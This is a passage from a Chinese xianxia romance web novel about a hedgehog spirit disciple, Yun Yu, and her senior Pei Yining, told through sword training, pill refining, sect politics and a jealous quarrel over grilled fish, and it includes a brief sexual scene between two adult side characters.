云榆看向自己被敲打的部位,一道红痕一点点显现,在白皙的肌肤上极为清晰。 那条红痕开始凸起,形成一长条形的鼓包。 裴依宁下完手就后悔了,她竟是忘记了云榆本体是小刺猬,肌肤本就细嫩,即使化作人形,身体特质仍旧保留。 这个时候的裴依宁显然是以师姐的身份教训她,云榆认教,聆听裴师姐的教诲。 裴依宁两指并拢,抬起因那一棍而垂下去的手臂,凭空取出一瓶药膏。 云榆仍旧低垂着头,冰凉的滑润刺激皮肤,凉意顺着毛孔进入血管,身体发寒。 她用余光打探裴依宁的举动。 对方扶着她的手臂,两根手指在红痕处绕着圈地转动。 药膏见效极快,不过呼吸间的功夫,凸起的红痕回归正原样:“对不起,师妹,师姐不是故意的。” 不是什么大事,云榆自不会计较这些,她在意的是裴依宁缘何打她。 她在收剑时便察觉到,剑气不曾波及到裴依宁周围,那便只可能是裴依宁看出她剑法有误,要提点她。 云榆道:“没关系,师姐,无心之失,师姐不必自责。师姐,是我哪里有错吗?” 裴依宁反问:“疼吗?” 云榆怔了下,摇头:“不疼。” 裴依宁拿出手帕擦拭掉多余的药膏,言归正题:“只单用手腕压制住剑体的轻飘,每一次施力不会不自在吗?即使形成了习惯,忽略了那股疼痛,长久下来,腕部损伤,你还如何握剑?” 独属于师姐的那股威压在此刻让妖胆战心惊,云榆有一刻感受到灵丹堂的同门在面对裴依宁时的畏惧和渴求。 害怕但也想要指点。 云榆一声不吭,她能想到的改变方式仅此而已。等形成肌肉记忆,便不会出现不稳之感。 至于手部的损伤,她暂未考虑这么多。 妖族的自愈能力让她自信可以恢复。 裴依宁捏住她的手腕,施力,云榆表情变动几分,是在忍着疼痛。 “杜师妹没与你说过这些吗?”裴依宁问。 云榆弱弱回复:“说……说过。她让我先不要急于这方面。” 裴依宁念动,漂浮在半空中的星点尽数涌入云榆的手臂。 没了灵点的托举,丹方和纸页掉落而下。 裴依宁反手接住:“杜师妹既然这般说了,你就按照她所言一步步来。” 她收起丹方:“别废了手。” 云榆诺诺地“嗯”了声,转眼瞧见丹方。 起初裴依宁骗小刺猬说是刚入灵丹堂的弟子,那时小刺猬就鼓励她要好好修炼,日后好为她炼制六品丹药。 现如今,面前的人显然有能力炼制六品丹药。 云榆揉捏腕骨:“裴师姐,我能冒昧地问您一个问题吗?” 裴依宁捡起掉落的长剑,歪头:“嗯?” 云榆舔舔唇,犹豫:“裴师姐,您是几品炼丹师?” 裴依宁没有明确回答她,只是问:“怎么突然问这个?” 她还记得小刺猬提过的六品丹药的事。 云榆迟疑:“您可以炼制六品丹药吗?” 裴依宁将剑递给她:“剑修的佩剑,不要轻易脱手。”紧接着,她回答,“六品丹药吗?可以。” 云榆心跳加速,全身血液逆流,难掩激动。 虽知晓裴依宁定然可以炼制,但被对方明确说出,其中的感受还是不一样。 她咬住下唇,屏住混乱的心跳,灵海内的灵珠感知到主人的心绪,加速运转,无声地回应。 “云师妹?”裴依宁将剑往前递,云榆没有伸手,她便直接将剑塞入云榆的掌心,然后包裹住她的手,温声问,“听见我的话了吗?” “裴师姐。”云榆组织语言,“我……” 她想让裴依宁每七日给的丹药那瓶可以指定,但她要的六品丹药明确性太大,她害怕裴依宁多心。 激动的心顷刻间被一盆冷水浇得彻底。 裴依宁静静地等着她,然而,数息间,云榆都没能“我”出个所以然。 裴依宁敛住眸光,倒也猜出几分原因,终是没有为难她,主动道:“云师妹若是想,可以指定丹药。任何时间都可以。” 许是小刺猬的气还没消,她不急,慢慢来便是。 只是,她记得小刺猬曾经告诉她,面对喜欢的人要多增加点肢体接触,她一直记着,但很少付诸行动。 有点难办。 掌心包裹的手动了动,裴依宁低眸。 她正握着云榆的手,以递剑的名义。 裴依宁有了主意:“云师妹,我听闻你身法极佳,可否领教一番。” 还在思考如何不引起裴依宁怀疑地要到她所需的六品丹药,云榆不假所思:“请裴师姐赐教。” 心法口诀在心底快速过了遍,云榆身形晃动,甩开被裴依宁握住的手,同时收剑,以免不慎伤到裴依宁。 她的身形在这方空间中极快的闪动,连成线的虚影一节节地循着她移动的方向排布。 在黄灵中算是快的,但她面对的毕竟是裴依宁,在境界差下,这点速度与平日的走动别无二样。 待到云榆靠近的刹那,裴依宁下腰,腰腹部爆发力极强,下盘扎稳,毫不费力地躲开。 紧接着,她直腰,抬脚往旁处一迈,挡住云榆的去路,在两者快要撞到时,她偏头,掌心抵在云榆的肩膀处,旋即脱力般,滑开。 云榆被她挡住,身体下意识避开,但无缓冲之下,她身体被迫往旁侧一歪。 但施加的力在此刻消失,她避无可避,直直地扑进裴依宁身前,手臂本能地展开,将人抱了个满怀。 两人一齐向后倒去。 灵力托举起两人,裴依宁的腰身下弯,云榆轻吸气,两手支在托举的灵力之下。 她的一条腿抵在裴依宁腿间。 裴依宁本打算和云榆简单的抱一下,可变故来得太快,若非她反应迅速,现在她已经被云榆压在地上了。 近距离下,云榆能看清裴依宁脸上极为细小的绒毛,她发现裴依宁的唇边和左眼眼角边,都有一颗很小很浅的痣。 裴依宁亦是一动不动地望着面前的人。 从下自上的视角更能看出上方人的失神和局促,连起身都忘记了。 她被困于云榆两臂之间。 这种气氛久了,只会让云榆下次更加小心谨慎。 裴依宁强行打断这份涟漪,掌心附在云榆的腰身,在借力起身:“云师妹,还不起来吗?” 轻缓的音色在耳边爆裂成一声巨响,云榆猛地起身,连着退后了数米,才是道歉:“师姐,我……对不起。” 今天她或者云榆都说了太多的对不起。 裴依宁私心不喜欢这样,太过于生疏。 她不想和云榆这么生疏。 “无碍。”裴依宁坐在托举的灵力上,“身法不错,好好……” 灵海内,一道传音传入,是风浅念的。 【依宁,你现在在哪?宗主让我转告你们,现在立刻前往宗主殿堂。】 事有轻重缓急,此刻让她们去宗主殿堂,定是明柏澜有事要说。 裴依宁补充未说完的话:“好好修炼。” 云榆:“是,师姐。” 她还没从方才的变故中反应过来,脸与熬住的虾没甚区别,心神都不在这里。 裴依宁的话她左耳进,右耳出,只一味的应答。 当裴依宁说“我还有事,就不打扰云师妹修炼”的时候,云榆一个劲地点头。 似乎巴不得裴依宁离开。 裴依宁好笑至极,她揉揉云榆的发顶,又像摸小刺猬额头那般,曲指点在云榆额头间。 她眼底闪过怀念。 已经数月没有见过小刺猬了。 她想星星了。 “云师妹,明日见。”裴依宁道。 云榆拱手:“裴师姐,明日见。” 裴依宁走后,云榆的脸还是红得厉害,她拍拍双颊,用手扇风,送来的微弱凉气对于此刻的她毫无作用。 以至于她连裴依宁走时揉她脑袋,摸她额头都没能留意。 今日的裴依宁,总是扰乱她的心绪。 坏宁依,坏裴依宁。 云榆毫无攻击力。 * 宗主殿堂内,裴依宁到时,殿内已经来了数人。 这次不仅是各峰阁的代表弟子在,各大峰阁的阁主也来了。 裴依宁先是对着宗主一礼,随即恭敬地与各峰阁阁主行礼。 她退至风浅念一侧,传音问:【今日怎的了,各位阁主也来了。】 风浅念回音:【不知,宗主并未明说,只让我们先来。】 说话间,人都已到。 坐在首座的人环顾一圈:“清凡。” 身为宗主唯一亲传弟子的白清凡上前半步,将一封拆开的书信扔至半空,而后,她回到原位。 一行行金色的文字浮现。 裴依宁一目十行看完。 大致是苍焰宗提出拜访明越宗,与明越宗举行一场友好切磋,为此,还请来了此番切磋的见证者——问玉宫之人。 等所有人都看完,明柏澜看向下首众人:“各位如何看。” 众人皆是小声窃窃。 苍焰宗莫名提出切磋之事,极大可能是因为遗迹中的事,但已经过了数月,现在提未免有些晚了。 裴依宁三人自是了解情况。 原以诗身为她们的师姐,主动上前将遗迹中的事简单讲述了遍:“宗主,当日情况便是这般。” “怪不得。”明柏澜挥挥手,并不责怪她们,“切磋而已。” 明越宗出众者众多,明柏澜并不担心。 唯一的变数是苍焰宗找来的问玉宫。 问玉宫不同与其她门派势力,以其神秘,实力以及中立扬名。 上一次听闻问玉宫,还是数十年前,新宫主问亦云接手问玉宫。 “问玉宫数十年不曾出现,此番因苍焰宗出世,只怕……”遇情堂堂主道,“只怕与苍焰宗达成某种关系。” 殿内讨论声四起。 裴依宁站出,行了一礼,道:“问玉宫素来持中立之态,不管纷争,一旦打破留存在世人心中的形象,于她们自身无益。” 明柏澜看向她:“你的意思是,问玉宫真的只是过来作见证的?” 裴依宁道:“弟子以为如此。” 风浅念亦是道:“弟子也认为如此,以苍焰宗的底蕴,不足让问玉宫为它打破存续数百年的规则。” 明柏澜并不表态:“以诗,清凡,你二人如何看。” 两人皆是道:“我等与她二人想法相同。” 明柏澜淡淡点头:“也罢。倒是难为苍焰宗能请动问玉宫的人。” 数十年,不知问玉宫是否还与当初一般公正严明。 明柏澜轻击扶手,低喃:“问玉宫,问亦云……” 被提及的问玉宫内,上等白玉雕琢而成的玉杆被人随意把玩在两指间。 问亦云坐在一看书女子身前,百无聊赖地转动那根玉杆:“还没看完吗?” 白衣女子没有反应,只偶尔翻动书页。 问亦云习以为常,丢下玉杆,挤身到女子怀中,自顾自地:“看看我呢。” 白衣女子终是有了动静,静默不语地推开她。昳丽的脸色无半点表情,似沉寂在书中世界。 问亦云叹息:“好吧,本来还想和你说说关于你妹妹的事呢。” 白衣女子猝然抬眼。 问亦云知她要说什么:“我没有出现在你妹妹面前哦。” 白衣女子:“说吧。” 问亦云笑倒在白衣女子怀中,女子果然没再推她,她笑得更加肆意:“云樾,你怎么这般有趣。” 她捏着云樾的手指,低声凑近女人耳边:“换个地方说。” 云樾静静地看着她,片刻后,她道:“自己来,与先前那般,不准扰到我。” “好啊。”问亦云拥住她,一意念间,两人换到别处。 她牵着云樾的指,缓慢游移,引着去到那处,指腹滑入的刹那,她脖颈扬起,喉间凝出一声哼呢。 云樾空闲的手自若地翻动书页,双膝曲起。 问亦云扶着两侧,身体勾着云樾的手来回滑动。 她咬着下唇,声音含在喉咙中,奉那句“不准扰到我”为圭臬,偶尔控制不住,哼出微弱的声响。 温热的呼吸落在云樾细嫩的颈间,她想咬她。 问亦云压制着念想,吻上云樾的脖颈,含住颈间的软肉,痴恋地喊女人的名字:“云樾……” 某一时刻,她放松全身力气,伏在云樾身上,嗓子干涩得厉害,面前人却是一无所动:“半点不知道照顾人的。” 云樾不拖泥带水地抽出手:“说吧。” 问亦云简单提了苍焰宗的事,加之那日她经过那里,被遗迹陷落的大动静吸引,过去便看见了云樾的妹妹。 如今苍焰宗的人找到问玉宫,不难猜出苍焰宗与明越宗弟子在遗迹内的冲突,而身为明越宗弟子的云榆自是有一份责任。 “你妹妹加入了明越宗,修的剑道。”问亦云撑起身子,描摹云樾的唇形,“不过,她好像伤了苍焰宗的人,现在,苍焰宗的人请我去,”她有意停住,一字一顿:“主持公道呢。” 脖颈上瞬间被掐住。 云樾卡住问亦云汗涔涔的脖颈,指上的液体与汗水交融,分不清到底是什么。她将问亦云往身前一拽,另只手抚上对方的脸颊,轻柔地摩挲:“我妹妹不会有错的,对吗?” 问亦云咽了下:“再要我一次。” 作者有话说: 今天更新的可早啦 第60章 第六十章[VIP] 循着日出而起, 日落而归的规律,云榆踩着初晨的光晕出了门。 甫一开门,两张人脸直直地在瞳孔中放大,云榆毫无防备, 撑着石门, 往后一缩。 指尖拧出一点浅白的月牙。 她不免失笑,双手环抱, 侧身倚在门框上:“你们怎么悄无声息的。” 应滟和卞凝并肩于她身前, 背景是蒙蒙亮的天,许是起来的过早, 应滟脸上带着几分疲倦,眼底闪着刚睡醒的泪花。 她揽住卞凝的肩:“这几日, 日日跑那么早,今日可算是让我和卞凝蹲到你了。” 云榆问:“蹲我做什么?” 卞凝身子一矮,扯开应滟搭在她身上的胳膊:“还不是她想知道你在做什么。” 天还没亮,就敲响她的门,把她拽到云榆洞府前, 说什么要来一出“守株待兔”, 盘问一番这人在悄摸做什么。 云榆视线挪动到应滟脸上, 后者是不好意思地别过目光。一眼就知与卞凝说得一般。 应滟好奇心本就强, 拉着卞凝是让她属实没想到的。 她腰身一挺, 老实交代:“去修炼啊。” 应滟:“就这么简单?” 云榆耸肩, 颇有种无可奈何之感:“不然你以为我还能去做何?” 应滟:“那你为何不与我们一同。” 云榆静默瞬,因丹药之事, 她答应每日与裴依宁交流些剑法。 但相处的大部分时间中, 裴依宁多是翻阅她看不懂的,古朴晦涩的丹药典籍, 勾着一根毛笔,托着泛黄破损的丹方,坐在那,平和而安静。 偶来兴致或是疲乏之时,便抬眼看向修习各种剑法和身法的她。 恰如此刻。 裴依宁微微侧身,手肘随意搭在灵力构建而成的桌上,垂下的手不时跟着云榆的招式颤动。 每到这时,云榆则会打起十二万分的精神,以免出错。 裴依宁只看了会,复又垂头研究桌案上的丹方。 云榆发现,这次,裴依宁的桌案上多了顶小炉,旁侧摆放着几分她认不出的药材。 火属性灵力在裴依宁指尖跳动,没入丹炉中,药材被接二连三的放入丹炉中。 在这过程中,裴依宁举着那张泛黄丹方,偶遇晦涩之处,她会蹙眉停下,控制灵力保持在适当的范围。 云榆心中暗笑,竟还有裴大师姐炼不出的丹药吗? 但裴依宁不担心炸炉吗?她虽对炼丹不了解,但裴依宁这种长时间不关注炼丹炉内的情况,真的不怕内部不稳,导致丹毁炉炸吗? 约莫过了半柱香的时间,裴依宁很轻的叹息声,细长手指点在丹炉的顶部。 颤动不已的丹炉平稳,里面传出一声“咔嚓”声。 是丹药损坏的声音。 云榆不由自主地收剑,观察裴依宁的表情。 对方并无失败后的懊恼,很平静地打开丹炉,取出内里几乎碎成粉末的丹药,用手帕托举着,低头嗅闻。 不多时,她收起手帕,又恢复成游刃有余的模样,重新取出丹药,依照原先的步骤再度炼制。 这一次顺利许多,丹香从炉孔中飘出,混合着浅淡的苦意,似乎是内里的杂质并未提炼干净。 于是,炉内的丹药又一次被取出,云榆瞧见裴依宁在纸页上写下什么,她踮起脚尖。 是一味丹方,与旁边那张泛黄的丹方里的内容相差无几。只是泛黄的那方丹方,缺少了一段,有部分腐烂的不成样子。 裴依宁这是在复原丹方吗? 她每日闲来无事,便是会做这种事吗? 正想着,浓重的药香涌现,充斥在整片空间中,云榆恍然回神,却见裴依宁已经起身,收起丹方,丹炉。 数枚浑圆的丹药静悄悄地躺在桌案上,随即被装入瓷白的药瓶中。 又复原成功一样。 “云师妹,”裴依宁在唤她,“怎么不练了?” 云榆这才发觉自己看得入迷,浑然忘记修炼之事。 如今被裴依宁点出,她索性走回安全区,佩剑收入灵海内:“遇到些许不懂之处,等午后去寻杜师姐问问。” 裴依宁眉梢微扬,倒也不揭穿她长久的愣神,温和道:“哪里不懂,或许我可以帮你一二。” 这几日碍于裴依宁在身侧,她修炼的多是以往的那几套,现在倒是说不出个所以然。 “师姐方才是在复原丹方吗?”云榆明知故问。 知她在转移话题,裴依宁轻笑:“是,因各种原因,部分丹方失传,这时便需要根据古籍记载,或是留存下的丹方记录,复原而出。” 她解释道:“现在的倒还简单,炼制几次便知哪里有问题,但有的丹药,只在古籍中一笔带过,或是只言片语,这种就要依据丹药的药性,功效,一点点摸索……” 裴依宁说得详细,好似把云榆当做灵丹堂的弟子般,极具耐心地传授经验所得。 怪不得许久前的交易堂内,灵丹堂的弟子听闻裴依宁出关,那般想求得她的指点。 这般仔细的倾囊相授,当真是能学到许多。 只可惜,她不是丹修,对于裴依宁所言,多是云里雾里。 她的眼神逐渐变得急忙,急急地按住裴依宁的手臂,不属于她的知识被灌入大脑,震得她头皮发麻:“等等,裴师姐。” 裴依宁停下,用眼神询问。 云榆扶住额头:“裴师姐,我对炼丹不懂。” 裴依宁低头笑了下:“倒是我疏忽了。那我们来聊聊剑法吧。” 缓和了会,裴依宁道:“剑法素来以轻快敏捷为特征,许多剑修追求剑法上的快,寻求飘逸如仙之感。但往往把控不住,导致轻飘,无攻击力。” 她停了下:“就像是你不自主露出的那样。” 兜兜转转又说回她剑法上的问题,但这不是朝夕可更改的,云榆双脚踩在横木上,抱住双膝,极其放松的姿态:“裴师姐,您当初练剑时,有过这种问题吗?” 她上一次练剑是多少年前了,裴依宁眼底闪过回忆:“有啊,每个初碰剑的,或多或少会有这种情况。这是很难避免的事情。” 谁练剑不想一剑开山,不经意间展露出绝强的剑法。 裴依宁想到什么,笑道:“我们那时还会追求剑气,当然,不是有伤害力的那种,而是剑气的好看。跟随剑法舞动时,剑气如游龙般跟随。” 被那时的幼稚无趣逗笑:“廖阁主说我们花里胡哨,整日不好好练剑,只想着那些无用的东西。还将这事告诉了师尊。那时师尊答应廖阁主,每月提供十瓶丹药,以换剑法阁对我的教导。” 嗯?这事怎么有些熟悉。 云榆终于明白杜寻雁跟谁学的了,原是廖阁主便是这样找灵丹堂堂主要丹药的。 裴依宁继续道:“不止是灵丹堂,器物堂和阵灵阁亦是如此,承诺每月给剑法阁多少器物或符纸。” 云榆了然,毕竟风师姐和原以诗皆是器物堂的,她们也曾修习过剑法。 阵灵阁约莫也是哪位师姐过来修习的剑法。 数十年前,剑法阁就这般靠着这种方式,明目张胆的问其她峰阁要东西了吗? 云榆哭笑不得。 画风逐渐转变,裴依宁对各大峰阁的趣事如数家珍,云榆听得津津有味。 尤其是知道这般优秀的裴师姐曾因为不想炼丹,装病却被抓包,引得灵丹堂堂主罚她抄写丹方。 裴依宁支着下颚,语调懒散:“但我那时小,不想抄,索性用几枚丹药诓骗其她峰阁的人帮我抄写。” 云榆眨眨眼:“为何不找灵丹堂的,不是更方便吗?” 裴依宁笑:“因为那时师尊整日在堂内,让堂内人帮忙,容易被发现。而且师尊极少去别的峰阁,很安全,不用担心被发现。” 云榆捧腹:“裴师姐,您原先竟是这种人。我以为像你们这样的,自小就很认真。” 裴依宁不置可否。 自幼听得最多的便是天赋异禀,天之骄女。入宗就被灵丹堂堂主收为亲传弟子,悉心培养,无论是资源还是受重视程度,都让人艳羡。 以至于许多人目光汇集在身上,无数的期许也落在身上。 久而久之,她开始少出现在人前,闭关精进炼丹之术。 直到遇见某只小刺猬,沉寂的乐趣被挑起,再后来,见到刺猬的人形,这份乐趣转变成另一种不可说的情愫。 她不着痕迹地看向云榆,拇指压在食指上,唇很轻微地扬起弧度。 不论何时,面对八卦趣事总能勾起人最大的好奇心,云榆自是不例外。 她的幼时与裴依宁的幼时大相径庭,不用时时刻刻想着提升修为,虽食不果腹,但每日穿梭于田埂溪流中,无忧无虑,自由无比。 “我开蒙晚,入宗前数年才开始修炼,”不知不觉间,她不在将裴依宁当作师姐,只是在向朋友倾诉过往的事情,“先天不足,只能依靠后天弥补。” 不论是对于人族还是妖族来说,云榆修炼之途的确过晚,裴依宁检查过云榆的根骨,是个修炼的好苗子,若是早入宗,当不止现在这般。 “云师妹天资聪颖,在剑法阁新弟子中亦是出众,”裴依宁适时问出自己的疑惑,“为何不早入宗?” 早入宗,或许她们便能更早的相遇。 云榆摸摸鼻子,笑:“可能玩性比较大,早几年稚气未脱,不喜被约束,就没入宗。” 裴依宁追问:“现在有被约束吗?” 云榆道:“没有,这里很自由,很安全。” 入宗以来,她接受了许多善意,师姐妹们虽脾性各异,可都是极好的,她早就从一开始的局促,到现在敢于调侃杜寻雁了。 当然,那些不甚相熟的师姐,云榆很好地守着分寸。 “的确该早入宗的。”云榆抱着膝盖小幅度地左右摇摆。 裴依宁担心她会摔倒,不自觉的往云榆身边靠去些,一条腿伸直,以便随时起身扶住云榆。 少时经历不好,但仍旧能保持如此天真纯良的模样,小刺猬的家人将她保护得很好。 裴依宁记得,小刺猬曾提过她有个姐姐。 但那时云榆并未多说。 现在的云榆话匣子打开:“把我姐姐一同拉入宗才对。当初我们那一位很厉害的人说,我姐姐生来就是修炼的。” 提起姐姐,云榆是抑制不住的想念:“姐姐那么好好,那么温柔。” 也不知道跑哪里去了,出去一趟就找不到影了。 只有两人之间存续着的微弱感应,告诉她,姐姐还在。 在她不知道的某个地方。 云榆脸颊鼓起,等日后见面了,她才不要没出息的原谅姐姐的不辞而别,她要冷着姐姐,让姐姐哄她。 不哄就不和姐姐说话。 不对,姐姐一定会哄她的,她要多坚持会,不能一被哄,就扑进姐姐怀中。 笨云樾。 她情绪转变着,一会伤感,一会愤愤不平,一会气息萎靡,很需要被人哄的样子。 裴依宁顺着她的话接下去:“从云师妹身上,能看出你姐姐把你养的很好。” 不谙世事的天真。 云榆重重一点头:“我姐姐是全天下最好的人。” 察觉到身边的人,云榆补充:“裴师姐是全天下最好的师姐。” 一碗水端平。 裴依宁压住不断上扬的唇。 她和云榆的姐姐是同等的地位。 * 午后,送走裴依宁,云榆回到洞府,修为的提升让她可以更长时间的维持人形。 但私下环境中,她更偏向于化回本体,小小一只,所有东西都变得巨大无比,她可以放纵地在床上来回翻滚。 这些天,日日有和裴依宁待在一起,竟是半点不曾尝到对方的手艺。 裴依宁也不提及。 小刺猬四仰八叉地躺在床上,漆黑的眼睛望着头顶隐约的刺,无望地叹口气。 更令刺猬烦躁的是,她当初看什么与裴依宁相关的都烦,连自己洞府内做饭的地方都撤了。 现在又要重新开辟。 当初应该和裴依宁学点手艺的。 小刺猬翻了个身,趴在床上。 小刺猬闷闷出声:“好想吃东西……想吃肉干,糕点,药材干……” “要不重操旧业……”小刺猬犹豫。 现在灵丹堂定然是不能去了,裴依宁修为高强,她不告而将刺化为齑粉,说不定对方正和今早的应滟,卞凝那般,等着守株待刺猬呢。 阵灵阁内阵法奇多,稍不留神就会触发,器物堂那位原师姐,有点冷淡的可怕…… 各个峰阁细数下来,还是灵丹堂最好。 可惜有个裴依宁。 小刺猬在床上来回翻滚,在吃与不吃之间左右摇摆。 最后,极为有出息的选择了,不吃。 小刺猬形的气还没消掉。 下午的修炼轻松无比,云榆陪着应滟练完,又陪着卞凝练,而后再去找悠闲的杜寻雁陪她练。 “怎得,裴师姐没有陪你练这些吗?”杜寻雁双手背在身后,上下打量突然蹦出来的人,“练什么?” 云榆花言巧语地捧杜寻雁:“裴师姐毕竟不是剑法阁的,在剑法上的造诣定然是不如杜师姐的。有杜师姐陪练,定能让我更上一层楼。” 杜寻雁被她说得心花怒放,但面上保持着严正刻板,歪头,严肃地道:“来吧。” 云榆提着剑,几个跨步而去,笑盈盈地应下:“好嘞。” 陪练结束,杜寻雁纠正一番她剑法上不对之处,而后略有忧愁地看向云榆,心事重重。 云榆被她看得脊背发凉,她对杜寻雁渐有了解,这个时候,多半是有事要说,而且这件事,多半与她有关。 杜寻雁叹息一声。 云榆心凉半截。 杜寻雁又叹息一声。 云榆心全然凉了。 她受不住地求饶,硬着头皮问:“杜师姐可是遇到什么难办的事了?” 杜寻雁眼睛一亮。 云榆:“……”她就知道。 杜寻雁凑近她,由远而看,两只毛绒绒的脑袋几乎贴在一起,一动一动的。 杜寻雁用两人能听见的声音,小声道:“你和裴师姐如今关系可更近一步。” 云榆:“怎么个更近一步法。” 杜寻雁隐晦地对她眨眨眼,一副“你懂的”样子。 如果是能一起聊及无关修炼的事算更近一步法的话,那她和裴依宁的确近了些。 云榆迟疑地点头。 杜寻雁忍不住笑意:“你知道剑法阁如今最缺什么吗?” 云榆摇头。 杜寻雁拍她:“丹药。” 云榆道:“上次裴师姐不是给了些,都用完了?” 杜寻雁叹息:“这倒是没有。但总要有和那边打好关系的人,只靠我一个已经不行了。” 这些年,她软磨硬泡从纳兰然那获取了无数丹药,各种招式都用得差不多了,对于自己的卖惨,纳兰然已经不像原先那般了。 能弄到的丹药越来越少。 现在好不容易又有师妹和灵丹堂的人搭上线,还是和裴师姐搭上线,岂不是更好。 杜寻雁淳淳善诱:“你可知为何现在我很少去阵灵阁要符纸?” 云榆摇头。 杜寻雁笑:“因为一位师妹和阵灵阁的那位白师姐搭上线了。你身为剑法阁的人,为阁内师姐妹谋得好处,是不是很开心。” 云榆点点头。 杜寻雁见她如此上道,继续说:“你觉得裴师姐怎么样?” 云榆:“是个骗子。” 杜寻雁道:“对吧,是个骗子,”突然,她意识到云榆说的是什么,大惊失色,音调不自觉提升许多,“什么,骗子?” 云榆赶忙拉了她一把:“小声点,杜师姐。” 杜寻雁忙捂住唇,按着云榆蹲下去,鬼鬼祟祟地:“你说甚?” 云榆轻咳两声:“没什么。” 杜寻雁盯着她,好半晌,下结论。 道侣间的小把戏。 不然依照云榆的性子,怎么可能会如此说一位不甚相熟的师姐。 云榆和裴师姐的关系定然不一般,即使不是道侣,但也相差无多。 云榆被她盯着浑身不自在,找了个理由逃走了。 现在的杜师姐越来越可怕了。 晃动间,云榆习惯性地来到剑法阁峰阁边缘。 此处无人,云榆寻个处干净的地界盘腿而坐,吐纳天地中的灵气。 灵气汇聚在她的四周,在头顶上方形成倒斗状的灵气气旋,源源不断地注入她的体内。 空气波动不断,云榆陷入自我世界中。 在漆黑的空间中,灵气化为浅蓝色的光点,灵动跳跃地没入她的身体。 不知过了多长时间,云榆从忘我中挣脱出,耳目一瞬间清明许多,自然界内各式声音被捕捉。 云榆侧头,单手撑地而起,顿感神清气爽。 灵珠边缘已经有绿色迹象。 云榆按按后颈,正欲回洞府,忽地嗅闻道一阵阵食物的香气。 她不自觉的寻找香气的来源地,却发现不远处,一道人形正自峰崖下而上,踩在峰崖边缘。 是裴依宁。 拿着一条烤鱼的裴依宁。 裴依宁正捏着贯穿鱼身的竹签,不断翻动鱼面,诱发出更诱人的香气。 抬眼撞见云榆,裴依宁并不惊讶:“云师妹。” 云榆咽咽口水:“裴师姐好。” 裴依宁点点头,与她擦身而过,唯独留下烤鱼的香气,萦绕在鼻息间。 云榆的馋虫彻底被勾起来,有一瞬间的冲动,她想变回小刺猬,让裴依宁这个小跟班将烤鱼给她。 或是拉下脸,现在追上去,让裴依宁给她尝几口。 然而,只是想想,云榆万万做不出这等事。 “灵丹堂没处吃吗?非要跑到剑法阁吃。”云榆在心底控诉,“我自己也会抓鱼,现在就去烤一个。” 烤鱼还不简单,抓鱼,起火烤熟不就行了。 毫无难度。 这么想着的云榆溜到后山阁,用术法抓起一条鱼,随后用灵力清理干净,最后,按照预想的步骤,支烤鱼架,起火。 一套下来行云流水。 盯着升腾不止的火苗,云榆舔舔唇,双手转动贯穿鱼的竹签。 有灵力护着竹签,云榆不用担心竹签会被烤断。 两柱香后,一股烧焦味传出。 云榆面色沉重地熄灭火,提起被烤到焦黑的鱼,薄唇紧紧抿住。 “没事,里面是好的。”云榆自我安慰。 抱着微末的期望,云榆小心翼翼地拨开最外面的焦黑,鼻尖凑近闻。 有种烧焦的苦味。 云榆生出不好的预感。 十数米外,裴依宁捏着未吃一口的烤鱼立于剑法阁后山阁的矮墙边,凝视着捧着一团烤得焦黑的鱼,满脸珍惜的人。 她原是想到剑法阁看一眼云榆,当到剑法阁峰阁边时,感知到云榆的气息,再一上来,就见盘腿而坐,吸纳灵气的人。 于是,她去到溪流边,抓鱼,烤鱼,想着用美食诱惑,能让云榆变回小刺猬。 然后,和小刺猬和好如初。 可云榆只是盯着她的背影,没有任何行动。 裴依宁指尖蜷缩,余光瞥向拿着的烤鱼。 “也算好吃。”云榆撕下一片没那么黑的鱼肉塞入口中。 苦着脸将鱼肉解决完,云榆清理了火堆,将此处打扫干净。 收起贯穿烤鱼的竹签,云榆曲指弹过仍有韧性的签子:“跟着我,你也是受罪了。” 另一根竹签出现在视野中,云榆眨眨眼,抬眼。 裴依宁捏着鱼肉前一小块干净之地,将竹签另一端可握的地方递到云榆面前:“云师妹,一起吃吗?” 云榆直起腰。 裴依宁错开视线:“本和人约了,但那人临时出宗了。” 怪不得抱着个烤鱼到处乱走,原来是约了别人。 “吃……” 等等,所以是裴依宁被人失约,然后现找她一起。 这把她云小刺猬当成什么了。 云榆有骨气的转了个弯:“不吃。” 不过才几个月,就又找到新饭搭了。 某只小刺猬的气都要消了,只差一个下坡的理由。 毕竟她也骗了裴依宁,两两相抵,这件事就过去了。 这几日的相处中,她对裴依宁总是会不由自主的心软,总是会忍不住生闷气。 之前被其她人或妖骗,她除了心寒外别无情绪,甚至第二天,还能当个没事妖般,与对方说笑。 但裴依宁不一样,对于她的欺骗,她下意识地逃避,下意识地逃离对方,可又控制不住地想靠近。 她以为数月不见,一切都会平复,可看见裴依宁时,还是会有情绪波动。 否则,她怎么会因为那几瓶丹药就答应和裴依宁共处。 她分不清那种情绪,想要逃离,又想要贴近。 她舍不得裴依宁,舍不得宁依。 可云小刺猬的自尊,让她说不出求和的话。 她都将刺化为齑粉,和人划分界限了,再主动去找对方,怎么想怎么不对。 但裴依宁这么快就找到新的饭搭了。而且,每日与她在一起时,裴依宁从来没有提及过小刺猬,更没有表露出一丝一毫的难过。 还言笑晏晏的和人谈天说地。 云榆越想越委屈,虽然和对方谈天说地的人是她,但裴依宁不知道这是她的人形啊。 她怎么可以这么快忘记小刺猬。 这么快和别人当饭搭。 云榆咬住舌尖:“裴师姐今日是和你的饭搭子约饭吗?” 裴依宁:“嗯?” 云榆握拳,眼眶微微发红:“就是你之前说的,很可爱的小动物,是和她吗?” 作者有话说: 小刺猬:这么快就找别的饭搭了【你现在阅读的是 】 60-70 第61章 第六十一章[VIP] 杂乱的风扬起云榆额边的碎发, 眼边起了热意,她掐住指尖的竹签,力度之大,在指腹上留下一道挤去血色的白痕。 喉咙被棉花堵住, 哽塞酸痛地说不出话, 她用力咽住喉咙,划开般地裂出疼意。 有种原属于自己的东西, 被人夺走的心疼感。 云榆脸皮发麻, “咔嚓”声下,那支竹签折成两断, 成角状夹在她的指上。 折起的无数根竹丝扎在肌肤上。 云榆垂着头,勾动间将竹签折叠几下, 捏在掌心,起着几分轻颤:“不是她吗?我还以为师姐是和她约的饭。” 她想离开这里,控制着情绪和声线:“裴师姐,我……” “是和她。”裴依宁猝然出声打断。 云榆诧异地扬起头,下一瞬, 眼眶红得越发厉害。 还在骗她。 裴依宁温柔地点在云榆的唇角, 再一放下时, 指尖多了一抹黑色。 是云榆吃烧焦的烤鱼时, 沾染上, 没能发现擦去的。 云榆别开头, 不想和骗妖的裴师姐说话。 某只妖的想法全然摆在脸上,裴依宁启唇:“但她好像不在, 我已经好久不曾见到她了, 